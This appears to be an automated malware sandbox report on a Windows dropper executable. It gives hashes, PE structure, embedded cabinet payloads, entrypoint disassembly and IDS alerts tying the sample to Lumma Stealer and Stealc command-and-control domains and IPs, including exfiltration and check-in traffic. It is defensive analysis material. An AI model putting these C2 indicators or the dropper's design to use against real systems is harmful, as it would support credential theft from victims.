URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["denver weather forecast snow totals","the penguin episode 7","pok.mon tcg pocket decks","dallas mavericks indiana pacers","circuit court 4th district","wzlx rich shertenlieb","southern taurids meteor shower","general hospital recap"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"google:entityinfo":"CgovbS8wNW5scWx0Eh9SaWNoIFNoZXJ0ZW5saWViIOKAlCBSYWRpbyBob3N0MoMOZGF0YTppbWFnZS9qcGVnO2Jhc2U2NCwvOWovNEFBUVNrWkpSZ0FCQVFBQUFRQUJBQUQvMndDRUFBa0dCd2dIQmdrSUJ3Z0tDZ2tMRFJZUERRd01EUnNVRlJBV0lCMGlJaUFkSHg4a0tEUXNKQ1l4Sng4ZkxUMHRNVFUzT2pvNkl5cy9SRDg0UXpRNU9qY0JDZ29LRFF3TkdnOFBHamNsSHlVM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOLy9BQUJFSUFFQUFRQU1CSWdBQ0VRRURFUUgveEFBYUFBQUNBd0VCQUFBQUFBQUFBQUFBQUFBRUJnSURCUWNCLzhRQU5SQUFBZ0VEQWdNR0JBTUpBUUFBQUFBQUFRSURBQVFSQlJ

Chrome Cache Entry: 483

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 484

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133519
Entropy (8bit):	5.435235110690713
Encrypted:	false
SSDEEP:	3072:2Pwvjxd0QniyZ+qQf4VBNQ0pq+vx7U+OUaKszQ:Ewvv0yTVBNQ0pzvxI+ORQ
MD5:	9B718E1CBED1A7913E8E0729435593F5
SHA1:	E3CD65E8930453D796A050A6EB1E99935300AEC8
SHA-256:	DC4AE5DD902FB0841EAA35F3BFBA0ACC07FB0D202646B81BA5E43D11D1E8EC70
SHA-512:	EA212CA3F52851A87B8D3711CC9BF13950C1A0B15505B57077EB49B425D4BB10F726D6BF406C3C525BB08177131F8F1BC53B9437D352C330D4107BA8524272C5
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Od\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_jd gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 485

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1302)
Category:	downloaded
Size (bytes):	117949
Entropy (8bit):	5.4843553913091005
Encrypted:	false
SSDEEP:	3072:D7yvvjOy7sipKTr3dH39oogNLLDzZzS7oF:D7yjOy7LS39mnhS7oF
MD5:	A5D33473ED0997C008D1C053E0773EBE
SHA1:	FEB4CB89145601A0141CC5869BEDF9AE7CD5CB80
SHA-256:	14C27BB0224FCF89A43B444B427DABE3D0AF184CAA7B6B4990CE228C51AE01C1
SHA-512:	3C0A48F9FA05469F950D9A268F1B3E9285A783A555EE597A2E203B688EB0FBCAEA3F4DE9BC8F5381C661007D0C6C4AFA70C19B7826D69A0E2A914A55973D14BD
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var da,ea,ha,na,oa,sa,ta,wa;da=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);na=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Chrome Cache Entry: 486

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.995344859614175
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	ByVoN4bhSU.exe
File size:	5'804'544 bytes
MD5:	27804d55f185edb91ed8ec5c15066fe5
SHA1:	6b5339943f113562612b929604f850ccdfa2681a
SHA256:	26309ceffdfb8ef91a3d435a569841ed8532f855557aeee54620a54e2c2dceca
SHA512:	4f458ad6580ef5a266f36b194d7a32b31a686ab7d88ced7b42c5ac972f17496b5fbb755359bc553d75533f03dd54b1feee01b470e42488ba66ea67050b901838
SSDEEP:	98304:yfz+nFIl9jheluAfkir3x/rgoihJGK1GVkY+Qd8snFRT66C5K8MSvnGdv8WGCP:yL+nGvhe8AxrXiPyVk19b91CP
TLSH:	ED46339675DCA552ED3103F70DB3C28329363E78534AB257025DE22910529E0AEBB7EF
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........%...K...K...K...N...K...H...K...O...K...J...K...J...K...C...K.......K...I...K.Rich..K.........PE..L....`.b.................d.

File Icon


Icon Hash:	3b6120282c4c5a1f

Static PE Info

General

Entrypoint:	0x406a60
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x628D60E2 [Tue May 24 22:49:06 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	10
OS Version Minor:	0
File Version Major:	10
File Version Minor:	0
Subsystem Version Major:	10
Subsystem Version Minor:	0
Import Hash:	646167cce332c1c252cdcb1839e0cf48

Entrypoint Preview

Instruction
call 00007FC110F9FD95h
jmp 00007FC110F9F6A5h
push 00000058h
push 004072B8h
call 00007FC110F9FE37h
xor ebx, ebx
mov dword ptr [ebp-20h], ebx
lea eax, dword ptr [ebp-68h]
push eax
call dword ptr [0040A184h]
mov dword ptr [ebp-04h], ebx
mov eax, dword ptr fs:[00000018h]
mov esi, dword ptr [eax+04h]
mov edi, ebx
mov edx, 004088ACh
mov ecx, esi
xor eax, eax
lock cmpxchg dword ptr [edx], ecx
test eax, eax
je 00007FC110F9F6BAh
cmp eax, esi
jne 00007FC110F9F6A9h
xor esi, esi
inc esi
mov edi, esi
jmp 00007FC110F9F6B2h
push 000003E8h
call dword ptr [0040A188h]
jmp 00007FC110F9F679h
xor esi, esi
inc esi
cmp dword ptr [004088B0h], esi
jne 00007FC110F9F6ACh
push 0000001Fh
call 00007FC110F9FBCBh
pop ecx
jmp 00007FC110F9F6DCh
cmp dword ptr [004088B0h], ebx
jne 00007FC110F9F6CEh
mov dword ptr [004088B0h], esi
push 004010C4h
push 004010B8h
call 00007FC110F9F7F6h
pop ecx
pop ecx
test eax, eax
je 00007FC110F9F6B9h
mov dword ptr [ebp-04h], FFFFFFFEh
mov eax, 000000FFh
jmp 00007FC110F9F7D9h
mov dword ptr [004081E4h], esi
cmp dword ptr [004088B0h], esi
jne 00007FC110F9F6BDh
push 004010B4h
push 004010ACh
call 00007FC110F9FD85h
pop ecx
pop ecx
mov dword ptr [000088B0h], 00000000h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa28c	0xb4	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc000	0x580ba8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x58d000	0x888	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1410	0x54	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x1008	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xa000	0x288	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6314	0x6400	b0b66b32f4ca82e2e157c51b24da0be7	False	0.5744140625	data	6.314163792045976	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x8000	0x1a48	0x200	7b9890a93c0516bb070e1170cfde54d5	False	0.609375	data	4.970639543960129	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0xa000	0x1052	0x1200	67ce48bf2e7c8fe3321ca7aa188f77e2	False	0.4140625	data	5.025949912909207	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0xc000	0x581000	0x580c00	ad4bd68e62d50195ebf5da1e119801e1	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x58d000	0x888	0xa00	6025c825c4098ef081ac8ee3c8d5dd22	False	0.746484375	data	6.222637930812128	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
AVI	0xcb30	0x2e1a	RIFF (little-endian) data, AVI, 272 x 60, 10.00 fps, video: RLE 8bpp	English	United States	0.2713099474665311
RT_ICON	0xf94c	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	United States	0.3225609756097561
RT_ICON	0xffb4	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	United States	0.41263440860215056
RT_ICON	0x1029c	0x1e8	Device independent bitmap graphic, 24 x 48 x 4, image size 288	English	United States	0.4569672131147541
RT_ICON	0x10484	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	United States	0.5574324324324325
RT_ICON	0x105ac	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.6223347547974414
RT_ICON	0x11454	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.7369133574007221
RT_ICON	0x11cfc	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	English	United States	0.783410138248848
RT_ICON	0x123c4	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.3829479768786127
RT_ICON	0x1292c	0xd9d2	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	1.0004662673505254
RT_ICON	0x20300	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5300829875518672
RT_ICON	0x228a8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.6137429643527205
RT_ICON	0x23950	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.703688524590164
RT_ICON	0x242d8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.425531914893617
RT_DIALOG	0x24740	0x2f2	data	English	United States	0.4389920424403183
RT_DIALOG	0x24a34	0x35c	data	Russian	Russia	0.44534883720930235
RT_DIALOG	0x24d90	0x1b0	data	English	United States	0.5625
RT_DIALOG	0x24f40	0x1b4	data	Russian	Russia	0.573394495412844
RT_DIALOG	0x250f4	0x166	data	English	United States	0.5223463687150838
RT_DIALOG	0x2525c	0x168	data	Russian	Russia	0.5361111111111111
RT_DIALOG	0x253c4	0x1c0	data	English	United States	0.5446428571428571
RT_DIALOG	0x25584	0x1e0	data	Russian	Russia	0.55
RT_DIALOG	0x25764	0x130	data	English	United States	0.5526315789473685
RT_DIALOG	0x25894	0x150	data	Russian	Russia	0.5416666666666666
RT_DIALOG	0x259e4	0x120	data	English	United States	0.5763888888888888
RT_DIALOG	0x25b04	0x122	data	Russian	Russia	0.5793103448275863
RT_STRING	0x25c28	0x8c	Matlab v4 mat-file (little endian) l, numeric, rows 0, columns 0	English	United States	0.6214285714285714
RT_STRING	0x25cb4	0x86	Matlab v4 mat-file (little endian) K\0041\0045\004@\0048\004B\0045\004 , numeric, rows 0, columns 0	Russian	Russia	0.7164179104477612
RT_STRING	0x25d3c	0x520	data	English	United States	0.4032012195121951
RT_STRING	0x2625c	0x52e	data	Russian	Russia	0.39441930618401205
RT_STRING	0x2678c	0x5cc	data	English	United States	0.36455525606469
RT_STRING	0x26d58	0x592	data	Russian	Russia	0.4011220196353436
RT_STRING	0x272ec	0x4b0	data	English	United States	0.385
RT_STRING	0x2779c	0x4b2	data	Russian	Russia	0.3910149750415973
RT_STRING	0x27c50	0x44a	data	English	United States	0.3970856102003643
RT_STRING	0x2809c	0x43e	data	Russian	Russia	0.4567219152854512
RT_STRING	0x284dc	0x3ce	data	English	United States	0.36858316221765913
RT_STRING	0x288ac	0x2fc	data	Russian	Russia	0.4424083769633508
RT_RCDATA	0x28ba8	0x7	ASCII text, with no line terminators	English	United States	2.142857142857143
RT_RCDATA	0x28bb0	0x562ec9	Microsoft Cabinet archive data, many, 5648073 bytes, 2 files, at 0x2c +A "j1C74.exe" +A "4w017y.exe", ID 1509, number 1, 220 datablocks, 0x1503 compression	Russian	Russia	1.0000152587890625
RT_RCDATA	0x58ba7c	0x4	data	Russian	Russia	3.0
RT_RCDATA	0x58ba80	0x24	data	Russian	Russia	0.9444444444444444
RT_RCDATA	0x58baa4	0x7	ASCII text, with no line terminators	Russian	Russia	2.142857142857143
RT_RCDATA	0x58baac	0x7	ASCII text, with no line terminators	Russian	Russia	2.142857142857143
RT_RCDATA	0x58bab4	0x4	data	Russian	Russia	3.0
RT_RCDATA	0x58bab8	0xb	ASCII text, with no line terminators	English	United States	1.7272727272727273
RT_RCDATA	0x58bac4	0x4	data	Russian	Russia	3.0
RT_RCDATA	0x58bac8	0xa	data	English	United States	1.8
RT_RCDATA	0x58bad4	0x4	data	Russian	Russia	3.0
RT_RCDATA	0x58bad8	0x6	data	Russian	Russia	2.3333333333333335
RT_RCDATA	0x58bae0	0x7	ASCII text, with no line terminators	Russian	Russia	2.142857142857143
RT_RCDATA	0x58bae8	0x7	ASCII text, with no line terminators	English	United States	2.142857142857143
RT_GROUP_ICON	0x58baf0	0xbc	data	English	United States	0.6117021276595744
RT_VERSION	0x58bbac	0x408	data	English	United States	0.42441860465116277
RT_VERSION	0x58bfb4	0x410	data	Russian	Russia	0.46826923076923077
RT_MANIFEST	0x58c3c4	0x7e2	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.3761149653121903

Imports

DLL	Import
ADVAPI32.dll	GetTokenInformation, RegDeleteValueA, RegOpenKeyExA, RegQueryInfoKeyA, FreeSid, OpenProcessToken, RegSetValueExA, RegCreateKeyExA, LookupPrivilegeValueA, AllocateAndInitializeSid, RegQueryValueExA, EqualSid, RegCloseKey, AdjustTokenPrivileges
KERNEL32.dll	_lopen, _llseek, CompareStringA, GetLastError, GetFileAttributesA, GetSystemDirectoryA, LoadLibraryA, DeleteFileA, GlobalAlloc, GlobalFree, CloseHandle, WritePrivateProfileStringA, IsDBCSLeadByte, GetWindowsDirectoryA, SetFileAttributesA, GetProcAddress, GlobalLock, LocalFree, RemoveDirectoryA, FreeLibrary, _lclose, CreateDirectoryA, GetPrivateProfileIntA, GetPrivateProfileStringA, GlobalUnlock, ReadFile, SizeofResource, WriteFile, GetDriveTypeA, lstrcmpA, SetFileTime, SetFilePointer, FindResourceA, CreateMutexA, GetVolumeInformationA, ExpandEnvironmentStringsA, GetCurrentDirectoryA, FreeResource, GetVersion, SetCurrentDirectoryA, GetTempPathA, LocalFileTimeToFileTime, CreateFileA, SetEvent, TerminateThread, GetVersionExA, LockResource, GetSystemInfo, CreateThread, ResetEvent, LoadResource, ExitProcess, GetModuleHandleW, CreateProcessA, FormatMessageA, GetTempFileNameA, DosDateTimeToFileTime, CreateEventA, GetExitCodeProcess, FindNextFileA, LocalAlloc, GetShortPathNameA, MulDiv, GetDiskFreeSpaceA, EnumResourceLanguagesA, GetTickCount, GetSystemTimeAsFileTime, GetCurrentThreadId, GetCurrentProcessId, QueryPerformanceCounter, TerminateProcess, SetUnhandledExceptionFilter, UnhandledExceptionFilter, GetStartupInfoW, Sleep, FindClose, GetCurrentProcess, FindFirstFileA, WaitForSingleObject, GetModuleFileNameA, LoadLibraryExA
GDI32.dll	GetDeviceCaps
USER32.dll	SetWindowLongA, GetDlgItemTextA, DialogBoxIndirectParamA, ShowWindow, MsgWaitForMultipleObjects, SetWindowPos, GetDC, GetWindowRect, DispatchMessageA, GetDesktopWindow, CharUpperA, SetDlgItemTextA, ExitWindowsEx, MessageBeep, EndDialog, CharPrevA, LoadStringA, CharNextA, EnableWindow, ReleaseDC, SetForegroundWindow, PeekMessageA, GetDlgItem, SendMessageA, SendDlgItemMessageA, MessageBoxA, SetWindowTextA, GetWindowLongA, CallWindowProcA, GetSystemMetrics
msvcrt.dll	_controlfp, ?terminate@@YAXXZ, _acmdln, _initterm, __setusermatherr, _except_handler4_common, memcpy, _ismbblead, __p__fmode, _cexit, _exit, exit, __set_app_type, __getmainargs, _amsg_exit, __p__commode, _XcptFilter, memcpy_s, _vsnprintf, memset
COMCTL32.dll
Cabinet.dll
VERSION.dll	GetFileVersionInfoA, VerQueryValueA, GetFileVersionInfoSizeA

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States
Russian	Russia

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-05T10:12:57.869617+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.5	65385	1.1.1.1	53	UDP
2024-11-05T10:12:58.353370+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.5	63950	1.1.1.1	53	UDP
2024-11-05T10:12:58.391748+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.5	61527	1.1.1.1	53	UDP
2024-11-05T10:12:58.417918+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.5	60880	1.1.1.1	53	UDP
2024-11-05T10:12:58.463921+0100	2057123	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)	1	192.168.2.5	64007	1.1.1.1	53	UDP
2024-11-05T10:12:58.488915+0100	2057121	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (founpiuer .store)	1	192.168.2.5	50861	1.1.1.1	53	UDP
2024-11-05T10:12:59.165818+0100	2057122	ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI)	1	192.168.2.5	49704	104.21.5.155	443	TCP
2024-11-05T10:12:59.165818+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49704	104.21.5.155	443	TCP
2024-11-05T10:12:59.349972+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49704	104.21.5.155	443	TCP
2024-11-05T10:12:59.349972+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49704	104.21.5.155	443	TCP
2024-11-05T10:13:00.062753+0100	2057122	ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI)	1	192.168.2.5	49705	104.21.5.155	443	TCP
2024-11-05T10:13:00.062753+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49705	104.21.5.155	443	TCP
2024-11-05T10:13:00.793247+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49705	104.21.5.155	443	TCP
2024-11-05T10:13:00.793247+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49705	104.21.5.155	443	TCP
2024-11-05T10:13:02.033880+0100	2057122	ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI)	1	192.168.2.5	49706	104.21.5.155	443	TCP
2024-11-05T10:13:02.033880+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49706	104.21.5.155	443	TCP
2024-11-05T10:13:03.276882+0100	2057122	ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI)	1	192.168.2.5	49707	104.21.5.155	443	TCP
2024-11-05T10:13:03.276882+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49707	104.21.5.155	443	TCP
2024-11-05T10:13:05.023397+0100	2057122	ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI)	1	192.168.2.5	49708	104.21.5.155	443	TCP
2024-11-05T10:13:05.023397+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49708	104.21.5.155	443	TCP
2024-11-05T10:13:06.613261+0100	2057122	ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI)	1	192.168.2.5	49709	104.21.5.155	443	TCP
2024-11-05T10:13:06.613261+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49709	104.21.5.155	443	TCP
2024-11-05T10:13:07.334269+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49709	104.21.5.155	443	TCP
2024-11-05T10:13:08.388942+0100	2057122	ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI)	1	192.168.2.5	49710	104.21.5.155	443	TCP
2024-11-05T10:13:08.388942+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49710	104.21.5.155	443	TCP
2024-11-05T10:13:11.643144+0100	2057122	ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI)	1	192.168.2.5	49711	104.21.5.155	443	TCP
2024-11-05T10:13:11.643144+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49711	104.21.5.155	443	TCP
2024-11-05T10:13:12.139355+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49711	104.21.5.155	443	TCP
2024-11-05T10:13:15.340551+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	4.175.87.197	443	192.168.2.5	49713	TCP
2024-11-05T10:13:20.861801+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49738	185.215.113.206	80	TCP
2024-11-05T10:13:21.142837+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49738	185.215.113.206	80	TCP
2024-11-05T10:13:21.148757+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.5	49738	TCP
2024-11-05T10:13:21.423716+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49738	185.215.113.206	80	TCP
2024-11-05T10:13:21.430495+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.5	49738	TCP
2024-11-05T10:13:22.523008+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49738	185.215.113.206	80	TCP
2024-11-05T10:13:23.117289+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49738	185.215.113.206	80	TCP
2024-11-05T10:13:49.900992+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49934	185.215.113.206	80	TCP
